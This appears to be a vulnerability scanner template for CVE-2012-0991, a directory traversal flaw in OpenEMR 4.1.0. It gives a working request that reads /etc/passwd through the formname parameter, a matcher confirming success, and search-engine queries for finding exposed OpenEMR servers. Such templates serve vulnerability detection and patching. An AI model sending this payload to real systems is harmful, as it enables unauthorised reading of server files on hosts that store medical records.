CVE-2012-0991: OpenEMR 4.1 - Local File Inclusion

id: CVE-2012-0991

info:
  name: OpenEMR 4.1 - Local File Inclusion
  author: daffainfo
  severity: low
  description: Multiple directory traversal vulnerabilities in OpenEMR 4.1.0 allow remote authenticated users to read arbitrary files via a .. (dot dot) in the formname parameter to (1) contrib/acog/print_form.php; or (2) load_form.php, (3) view_form.php, or (4) trend_form.php in interface/patient_file/encounter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of OpenEMR.
  reference:
    - https://www.exploit-db.com/exploits/36650
    - https://nvd.nist.gov/vuln/detail/CVE-2012-0991
    - http://www.open-emr.org/wiki/index.php/OpenEMR_Patches
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/72914
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:S/C:P/I:N/A:N
    cvss-score: 3.5
    cve-id: CVE-2012-0991
    cwe-id: CWE-22
    epss-score: 0.70708
    epss-percentile: 0.98654
    cpe: cpe:2.3:a:openemr:openemr:4.1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: openemr
    product: openemr
    shodan-query:
      - http.html:"openemr"
      - http.title:"openemr"
      - http.favicon.hash:1971268439
    fofa-query:
      - icon_hash=1971268439
      - body="openemr"
      - title="openemr"
      - app="openemr"
    google-query: intitle:"openemr"
  tags: cve,cve2012,lfi,openemr,traversal,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/contrib/acog/print_form.php?formname=../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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